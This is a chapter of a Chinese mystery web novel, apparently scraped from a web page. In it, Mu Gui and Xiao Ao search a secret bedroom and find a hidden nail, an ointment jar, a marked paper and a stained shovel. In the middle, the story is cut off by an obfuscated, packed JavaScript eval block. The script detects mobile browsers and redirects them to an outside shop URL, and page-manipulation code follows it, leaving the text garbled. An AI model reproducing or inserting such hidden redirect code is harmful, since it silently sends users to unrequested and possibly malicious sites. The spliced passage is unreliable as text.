“我真傻,真的。若是早知机关在此,进门第一件事就是和它掰头。”牧归一手持烛台,另一手负于身后,摇头晃脑,不住感慨。
小袄佝偻身体,幽怨地走在前头,瑟缩畏惧,难掩颓色。按照牧归的说法,她是天选之人,鬼见之惊惧,不仅不攻击,还会奉她为上宾,顶礼膜拜。
“天选之人,打头阵,请。”牧归就是用这副严肃的表情,哄得她晕头转向,踏入隐秘之处。
小袄说不过牧归,眼看时间越发紧张,只得猫入密道。
密道设置和外头小隔间有异曲同工之妙,不管是淡淡的霉味、憋闷的感觉都如此相似。像是一具棺材,她们以肉身为供,以思绪为香,囚于此间,化为穿行于墓道的亡魂。
这间小屋招来了她们,算不算是招魂?
既是招魂,待等会破门而入,她应当正气凛然大喝一声:“魂兮归来!里头的魂不许乱爬,把舌头收一收,贴墙飘好!”
牧归被自己逗乐了,笑容闪现片刻,又没入黑暗。
密道极短,不过几步便到了头。小袄背对着门,见她朝自己靠近,将灯盏往前移了移。
门上没落锁。烛台往前一顶,吱呀呻吟,门应声而开。小袄和她合力移开屏风,眼前豁然开朗。
八步床,四方案;莲纹帐冷,文房君会。
白玉嵌宝银镜台,红木雕凤贵妃榻。
精致大气,素雅可人。
这里和外头相比更加整洁,仅一墙之隔,却隔开脏乱,隔开贵贱。
牧归瞟了一眼小袄,从她身后绕出,不偏不倚挡住她的视线,举着灯盏,四下查看。
屋内生活痕迹很重,明显有人在此客居,看样式,住的是女子。此处较为宽敞宜人,不适感却一直挥之不去。
拉开衣柜,内里无尘,不见衣影。牧归敲了敲,金声,和她家门口新换的木头一般。漆光亮无痕,看不出岁月碾过的痕迹,应是新柜。
矮桌作梳妆台,蹲在一旁。其上摆着镜子,桌面和桌内抽屉无他物,连一支画眉的笔、一盒胭脂都看不着。左侧一个细长小花瓶,花已无踪迹,瓶中水也被倒空,孤零零立在那,待归人。
女子消失后,陪伴她的小物件也似丢了魂,和她一起去了。
无魂之所,缺失的一角无法填补,将残余的人气吸进后仍不满足,又来牵拉牧归的魂。
留下来吧。牧归听见它们低语,伸出瘦骨嶙峋的手。
牧归衣袍一动,轻巧避开,转进八步床。
床榻周边萦绕木香和花香,绵延不断,迷蒙温暖,好似温柔乡,又似云端。
香味不甚烈,却勾人。
一步,心宽愉。
二步,无烦忧。
三步,了尘俗。
牧归头脑昏沉,一晃神,不觉移步追随它。才走几步,左腿却是一阵剧痛,如生吞冰碴子,痛感和舒适相激,生出诡异的不适。
不对劲。
牧归心中警铃大作,猛地一掐小臂,强迫自己清醒。
斑斓色彩褪去,眼前是朦胧的黑色和红色,她站在床榻前,左腿重重磕上床板,半跪不跪,维持着上床的姿势。
手下触感绵软,床榻上分明铺着软褥子,而她左腿的痛感不似有假。
痛感自然不可能是假的,那便是床榻有异。牧归心一动,翻身上榻,三两下掀起褥子,翻出一个小盒,一枚木钉。
钉子是钉床板用的,不知被谁撬出一角,寒光闪烁。隔着被褥刺不穿皮肤,却能带去痛楚,让人清醒,就像方才的她一样。
小盒呈圆形,盖子上绘油彩花卉图,晃动间有粉尘沙沙作响。靠近鼻端一闻,一股清凉冲上天灵盖,五脏六腑随之清明。
打开暗扣,盒中淡黄膏体用去大半,可怜巴巴缩成一团。牧归用指甲刮了些,涂抹于手腕,细腻中带些粗糙,药香浓烈,不尽完美,却也是难得一见的上品。
牧归抓着小盒,啧啧称奇。
这东西她见过。
在元回给她的一大堆瓶罐中,有一瓶和她手中的极为相似。她依稀记得,有去毒化瘀、清醒灵台之效,并戏称其为清凉膏。
它和元回那款质感不肖,功效倒是相近。
指下某处触感有异,牧归两指夹住一块突起,暗自发力,将其抽出。将之完全抽出的一瞬,一块月白的东西自她指间滑落,眼看着就往烛台上去。
牧归眼疾手快将其接住,眼睛一扫。
裁成小块熟宣,纸纹清晰可见。淡色墨迹蜿蜒盘旋,弧线绕弧线,杂乱中又有一丝和谐,看着不让人生厌。
牧归蹙眉,捏紧纸片,炎炎盛夏,她后背却有些发凉。
这东西她也见过。
准确来说,是图案似曾相识。如此奇特的图案,她不可能毫无印象,定是在何处曾见过,只是一时想不起来。
牧归坐在床榻上环视一圈,又垂眸细细感受一番,没再觉出异样。它和天下普通女子的床榻一般,配置齐全,挑不出毛病。
花香这会却消失了,只余膏体香味和木味,仿佛她方才的经历是幻觉。
牧归没找出源头,干脆跳下床榻,不作他想。
她坚信越找越急的道理,如果要找某样东西,先要置之于不顾,给它自己对其漠不关心的错觉。待它沉不住气主动跳出,看准时机趁之不备,再回过头来找时,往往都能找到。
毫无科学依据,但是心理上能给到极大安慰。
牧归一转头,发现小袄站在书案前,正盯着什么,看得认真。
她走上前一拍小袄肩膀:“在看什么?”
小袄几乎跳起,下一秒就要夺门而出,牧归忙按住她,一下一下地拍着。
“没事的,是我。”牧归宽慰道,无声地观察起桌面。
笔尖掉了大半,笔头钝圆,砚台上墨已干,留下一块疙瘩。文房四君子独失纸张,桌面光洁,无墨水印痕。
小袄缓过神,怒视牧归:“吓我做什么!我还以为是鬼。”
牧归眨眼:“世上哪有鬼,有也是人在装神弄鬼。”
小袄白她一眼,摸着墙壁,忽然开口道:“姐姐住在这。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262486|146310||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
小袄表情有异,似哀伤,也似——
“嫉妒吗?”
“没有。”小袄摇头。
牧归叹一声,作势去摸她的头,她颤了颤,向后退几步,捂住头顶:“...有一点,只有一点。”
小袄见牧归没动作,将手放下。这才放下,发心被人用力揉了揉。
“我说实话了!为什么还要——”
“呵,”牧归从喉管中发出一声低语,似落雪,几乎不可闻,她很快接上,“当然,我信你。只是想摸一下。”
“你...算了。”小袄愤愤转身,却忘了她在一个尴尬的位置,这一下速度极快,又用上了力气,手肘狠狠撞上旁的架子,架子发出不堪重负的呻吟,“哗”的一声塌了。
谁也没料到,几乎全是崭新物件的屋子内,还有如此陈旧的架子。架子甚至如此脆弱,如此不堪一击,就像元回的羞耻心,像她的谎言,她的职业生涯。
架子极其不起眼,在碰倒前,几乎无法注意到,这边甚至有个架子。
牧归看了看目瞪口呆不知所措的小袄,再看看在地上散成一团乱码的架子,伸手,鼓掌。
“啪。啪。啪。”
牧归边鼓掌边点头,一副看穿世事深不可测的样子,眼中几分复杂几分释然,仔细看去,还有一分敬佩之意。
“真正的强者,往往只需要简单的几个步骤。从现在开始,你,就是真正的九天玄女,完全的命定之人。”
小袄回过神,嘴唇颤抖,全身上下无一处不在抖,连发丝都在抽动。
她腿一软,蹲在地上,捡起架子碎片,不动了。
牧归同情地看着她,跟着蹲下来。
“没关系,一个小架子,之后和主人家说一声,换个新架子给他送来就好。”牧归安慰道,拨弄着眼前的碎片。
方才架子倒的时候,她好像还听到一声金属音。方才还说找不到线索,她一不管,线索这便来了。
残片数量众多,天女散花一般散了一地,有的还挺沉。牧归吃力拨开,招呼小袄一道帮忙,小袄垂头丧气,却还是跟着她一起清理。
不知过了多久,牧归的手背碰着一块冷硬之物。她们移开挡着视线的板子,看见碎片之下,静静地躺着一把铲子。
铲子有磨损痕迹,木柄黯淡,但是面却光亮,背面似乎沾着些暗色的东西。
牧归一碰,本以为它会像酥饼一样,唰唰唰掉渣,但它却是温润、微硬的,随着牧归的动作,爬上她的手指。
鼻端泥土微腥,混合着更令人不适的味道,让人想到世间所有不愉快,烦躁和不安爬上脊柱,用尖锐的口器扎入其中,贪婪地吮吸着,留下麻痒阵阵。
有人用过这把铲子,来过这间密室。
她无法确定是谁。
“你认识吗?”她将铲子往小袄面前一送。
“不认识。”小袄瞳孔猛地一缩,声音如常,带着点疑惑和惹事后的不安。
牧归一笑,笑意却没有深入笑容中。
她没想到,能在这里找到线索。